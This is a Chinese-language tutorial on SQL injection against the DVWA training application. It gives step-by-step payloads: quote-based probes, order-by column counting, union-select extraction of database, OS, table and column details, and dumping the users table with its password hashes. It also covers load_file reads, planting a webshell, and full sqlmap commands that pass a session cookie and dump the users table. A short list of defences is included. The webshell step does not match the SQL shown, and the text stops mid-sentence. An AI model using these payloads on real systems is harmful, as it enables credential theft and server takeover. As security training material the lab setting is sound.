SQL注入漏洞作为OWASP TOP10中重要的一部分
一、原理
通过web程序,在数据库里执行任意SQL语句。根源在于程序命令和用户数据(用户输入)之间没有做到分开。
二、发现
1、确认注入POC
(1)检测是否存在注入:
可以得知此处位注入点,尝试输入 ‘ (英文单引号)时,出现如下错误提示:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near ””’ at line 1
(2)尝试遍历数据库表,由于用户输入的值为ID,因此我们习惯判断这里的注入类型为数字型,因此尝试输入:1 or 1=1 ,看能否把数据库表中的内容遍历出来。可是结果如下,并没有显示出所有信息
(3)于是猜测,是否后台应用程序将此值看做了字符型,于是输入:1'or'1'='1,结果,遍历出了数据库中的所有内容,如果是重要数据库表,可能这个信息已经对于攻击者,有了足够意义:如图
2、确定查询函数(order by)
(4)测试查询信息列数。利用语句order by num
这里我们输入 " 1'order by 1 -- " 结果页面正常显示,注意-- 后面有空格。继续测试,
1'order by 2 -- , 1'order by 3 -- ,当输入3是,页面报错。页面错误信息如下,Unknown
column '3' in 'order clause',由此我们判断查询结果值为2列
(5)通过得到连接数据库账户信息、数据库名称、数据库版本信息。利用user(),及database(),version()
等三个内置函数。
3、确定回显点(union select):
(6)这里尝试注入 1' and 1=2 union select 1,2 -- 结果如下
从而得出First name处显示结果为查询结果第一列的值,surname处显示结果为查询结果第二列的值,利用内置
函数user(),及database(),version()注入得出连接数据库用户以及数据库名称:
1' and 1=2 union select user(),database() --
1' and 1=2 union select version(),database() --
4、查询数据库信息
(7)获得操作系统信息
1'and 1=2 union select 1,@@global.version_compile_os from mysql.user --
(8)查询表名:这里利用mysql默认的数据库infromation_scehma,该数据库存
储了Mysql所有数据库和表的信息。
1' union select 1,table_name from information_schema.tables where table_schema='dvwa' --
(9)查列名
1' union select 1,column_name from information_schema.columns where table_name='users' --
(10)查字段名
1’ union select user,password from users --
至此,相当于把用户表的裤子脱下来了,然后再把密码经过md5解密就ok了。当然除了单纯的获取用户信息脱裤
外sql注入还有其他的用法
5、
(1)load_file()文件加载
1’ union select 1, load_file(“h://test.txt”) --
(2)直接写入webshell木马
需要满足一定的条件:
<1>需要知道要上传的木马的服务器绝对路径,可以配合其他漏洞收集此资料
<2>需要有足够大的权限,可以上传文件
<3>magic_quotes_gpc() = Off
构造SQL语句:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761 --
我们上传一句话木马,密码是cmd,上传的路径是 E://xmapp//htdocs//DVWA-1.0.8下的1.php文件
提交之后如果没返回错误页面,一般就是上传成功,我们可以到路径下进行查看
页面没有返回源代码中的信息,表示木马上传成功,我们用菜刀链接一下
链接成功,拿到网站的webshell。
SQL注入漏洞的防御:
(1)对用户输入的参数进行转义和去下划线等安全处理
(2)控制好数据库管理员和普通用户的权限
(3)开启magic_quote_gpc()选项
(4)服务器安装安全狗等防注入设备
(5)采用强度大的密码,即便被脱裤也很难被破解,或直接采用很难短时间破解的加密算法
(6)定期更新系统,对出现的漏洞及时修补
当然,除了手工注入外,我们可以使用强大的SQL注入扫描工具sqlmap来进行扫描:
先来探测一下该页面是否存在SQL注入漏洞,因为DVWA是需要登录的,需要用到cookie信息。可以通过F12打开开发者工具来获取用户的cookie信息,当然也可以通过其他方式来获取:
将cookie信息复制上去–cookie参数上运行下面的命令:
sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -- cookie="security=low; PHPSESSID=4b83d8e86f5c43eff7dfa2b2be087838" --batch
其中-u参数指定目标URL,–batch参数采用默认选项、不进行询问。
结果发现是可注入的:
接着通过–dbs参数查看所有的数据库:
sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -- cookie="security=low; PHPSESSID=4b83d8e86f5c43eff7dfa2b2be087838" --dbs --batch
这里我们只对dvwa数据库感兴趣,通过-D参数指定为dvwa数据库,–tables参数查看所有的表:
结果发现存在两个表,接着就扫描最感兴趣的users表了,通过-T参数指定表为users,–columns查看该表的所有列:
sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4b83d8e86f5c43eff7dfa2b2be087838" -D dvwa -T users --columns --batch
所有列名都知道了,下面直接用–dump参数将所有列的信息都列出来即可:
sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4b83d8e86f5c43eff7dfa2b2be087838" -D dvwa -T users --dump --batch
这样,几乎所有的信息都挖掘出来了,利用sqlmap来扫描的过程大致如此。
Medium级:
<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = mysql_real_escape_string($id);
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
?>
其中mysql_real_escape_string函数是实现转义 SQL 语句字符串中的特殊字符,如输入单引号’则处理时会在其前面加上右斜杠\来进行转义,如果语句错误则输出相应的错误信息。其中受影响的字符如下:
\x00 \n \r \ ’ " \x1a
虽然在代码中通过mysql_real_escape_string函数对一些敏感字符进行了相应的过滤,但是在SELECT语句中变量id的值的获取并没有通过外加单引号或者双引号来实现,即那层过滤也形同虚设,只需在输入中连需要闭合用的单引号等都不需要添加了,直接输入相应的语句即可:
例子中payload为:
1 union select table_name,table_schema from information_schema.tables
stripslashes函数是实现删除反斜杠的功能
引号绕过(使用十六进制编码): **
关于为啥要16进制看这